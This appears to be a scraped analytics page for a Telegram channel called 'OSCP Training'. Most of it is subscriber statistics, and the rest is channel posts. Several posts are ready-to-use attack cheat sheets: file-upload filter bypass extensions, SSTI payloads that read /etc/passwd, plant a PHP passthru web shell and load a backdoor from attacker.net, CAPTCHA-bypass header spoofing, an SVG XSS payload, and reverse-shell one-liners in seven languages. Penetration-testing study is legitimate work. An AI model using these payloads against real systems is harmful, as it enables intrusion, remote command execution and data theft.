🔥OSCP Training🔥🛡⚔️👨🏻💻
Open in Telegram
Offensive Security Certified Professional @CEH_training @WebHacking @pfsense @WifiHacking 🔰For safer days
Show moreThe country is not specifiedTechnologies & Applications11 688
7 490
Subscribers
No data24 hours
+37 days
-2030 days
Data loading in progress...
Similar Channels
No data
Any problems? Please refresh the page or contact our support manager.
Tags Cloud
No data
Any problems? Please refresh the page or contact our support manager.
Incoming and Outgoing Mentions
---
---
---
---
---
---
Attracting Subscribers
March '25
March '250
in 0 channels
February '25
+56
in 0 channels
Get PRO
January '25
+61
in 0 channels
Get PRO
December '24
+62
in 0 channels
Get PRO
November '24
+74
in 0 channels
Get PRO
October '24
+90
in 0 channels
Get PRO
September '24
+114
in 0 channels
Get PRO
August '24
+156
in 0 channels
Get PRO
July '24
+185
in 0 channels
Get PRO
June '24
+219
in 1 channels
Get PRO
May '24
+259
in 0 channels
Get PRO
April '24
+193
in 1 channels
Get PRO
March '24
+133
in 1 channels
Get PRO
February '24
+179
in 0 channels
Get PRO
January '24
+189
in 3 channels
Get PRO
December '23
+188
in 2 channels
Get PRO
November '23
+176
in 0 channels
Get PRO
October '23
+154
in 1 channels
Get PRO
September '23
+204
in 0 channels
Get PRO
August '23
+255
in 0 channels
Get PRO
July '23
+297
in 0 channels
Get PRO
June '23
+239
in 0 channels
Get PRO
May '23
+266
in 0 channels
Get PRO
April '23
+218
in 0 channels
Get PRO
March '23
+244
in 0 channels
Get PRO
February '23
+231
in 0 channels
Get PRO
January '23
+256
in 0 channels
Get PRO
December '22
+222
in 0 channels
Get PRO
November '22
+247
in 0 channels
Get PRO
October '22
+220
in 0 channels
Get PRO
September '22
+247
in 0 channels
Get PRO
August '22
+199
in 0 channels
Get PRO
July '22
+230
in 0 channels
Get PRO
June '22
+187
in 0 channels
Get PRO
May '22
+139
in 0 channels
Get PRO
April '22
+464
in 0 channels
Get PRO
March '220
in 0 channels
Get PRO
February '220
in 0 channels
Get PRO
January '220
in 0 channels
Get PRO
December '21
+107
in 0 channels
Get PRO
November '21
+139
in 0 channels
Get PRO
October '21
+231
in 0 channels
Get PRO
September '21
+120
in 0 channels
Get PRO
August '21
+135
in 0 channels
Get PRO
July '21
+143
in 0 channels
Get PRO
June '21
+150
in 0 channels
Get PRO
May '21
+138
in 0 channels
Get PRO
April '21
+163
in 0 channels
Get PRO
March '21
+165
in 0 channels
Get PRO
February '21
+192
in 0 channels
Get PRO
January '21
+247
in 0 channels
Get PRO
December '20
+1 077
in 0 channels
| Date | Subscriber Growth | Mentions | Channels | |
| 02 March | 0 | |||
| 01 March | 0 |
Channel Posts
| 2 | No text... | 2 574 |
| 3 | No text... | 2 924 |
| 4 | Wireshark.pdf | 2 737 |
| 5 | Web Application Lab Setup Guide .pdf | 2 700 |
| 6 | OSCP Cheat Sheet-2.pdf | 3 967 |
| 7 | RedTeam Scenarios.pdf.pdf | 299 |
| 8 | OSCP Exam Report.pdf | 3 954 |
| 9 | OSCP Notes 2.pdf | 4 919 |
| 10 | No text... | 4 755 |
| 11 | File Upload Bypass -
Blacklisting Bypass
PHP → .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
ASP → .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
Jsp → .jsp, .jspx, .jsw, .jsv, .jspf
Coldfusion → .cfm, .cfml, .cfc, .dbm
Perl → .pl, .cgi
Using random capitalization → .pHp, .pHP5, .PhAr
Whitelisting Bypass
file.png.php
file.png.Php5
file.php%20
file.php%0a
file.php%00
file.php%0d%0a
file.php/
file.php.\
file.
file.php....
file.pHp5....
file.png.php
file.png.pHp5
file.php#.png
file.php%00.png
file.php\x00.png
file.php%0a.png
file.php%0d%0a.png
file.phpJunk123png
file.png.jpg.php
file.php%00.png%00.jpg | 3 953 |
| 12 | @OSCP_training
@WebHacking | 3 335 |
| 13 | SSTI (Server Side Template Injection)
Generic
${{<%[%'"}}%\.
{% debug %}
{7*7}
{{ '7'*7 }}
{2*2}[[7*7]]
<%= 7 * 7 %>
#{3*3}
#{ 3 * 3 }
[[3*3]]
${2*2}
@(3*3)
${= 3*3}
{{= 7*7}}
${{7*7}}
#{7*7}
[=7*7]
{{ request }}
{{self}}
{{dump(app)}}
{{ [] .class.base.subclassesO }}
{{''.class.mro()[l] .subclassesO}}
for c in [1,2,3] %}{{ c,c,c }}{% endfor %}
{{ []._class.base.subclasses_O }}
{{['cat%20/etc/passwd']|filter('system')}}
PHP
{php}print "Hello"{/php}
{php}$s = file_get_contents('/etc/passwd',NULL, NULL, 0, 100); var_dump($s);{/php}
{{dump(app)}}
{{app.request.server.all|join(',')}}
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{$smarty.version}
{php}echo id;{/php}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
Python
{% debug %}
{{settings.SECRET_KEY}}
{% import foobar %} = Error
{% import os %}{{os.system('whoami')}} | 3 178 |
| 14 | Google Dorks to Find Sensitive data or dir | 2 295 |
| 15 | APIs Fuzzing for Bug Bounty.pdf | 2 863 |
| 16 | CAPTCHA Bypass
* Send old captcha value.
* Send old captcha value with old session ID.
* Remove captcha with any adblocker and request again
* Bypass with OCR
* Response manipulation.
* Use any token with the same length(+1/-1).
* Remove the param value or remove the entire parameter.
* Change the method from POST to GET(or PUT) and remove the captcha.
* Change body to JSON or vice-versa.
* Check whether the value of the captcha is in the source code.
* Add headers:
X-Forwarded-Host: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Host: 127.0.0.1 | 3 709 |
| 17 | Tryhackme.pdf | 5 849 |
| 18 | Neat trick for SVG file upload exploits. Add a foreignObject tag and include almost any working XSS payload in the SVG image file. Helpful for bypassing CSP or bypassing servers that strip strings.
Many file uploads allow SVGs and are prone to tampering.
<svg width="600" height="400" xmlns="w3.org/2000/svg" xmlns:xhtml="w3.org/1999/xhtml">
<foreignObject width="100%" height="100%">
<body xmlns="w3.org/1999/xhtml">
<iframe src='javascript:confirm(10)'></iframe>
</body>
</foreignObject>
</svg> | 4 930 |
| 19 | WhatsApp'ta OSCP Training kanalını takip edin: https://whatsapp.com/channel/0029VaDxObG17EmxK6bvmy3a | 2 745 |
| 20 | Reverse Shell Cheat Sheet
Bash;
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
Python;
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
PERL;
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
PHP;
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
Ruby;
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
Netcat;
nc -e /bin/sh 10.0.0.1 1234
Java;
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
xterm;
xterm -display 10.0.0.1:1 | 3 037 |
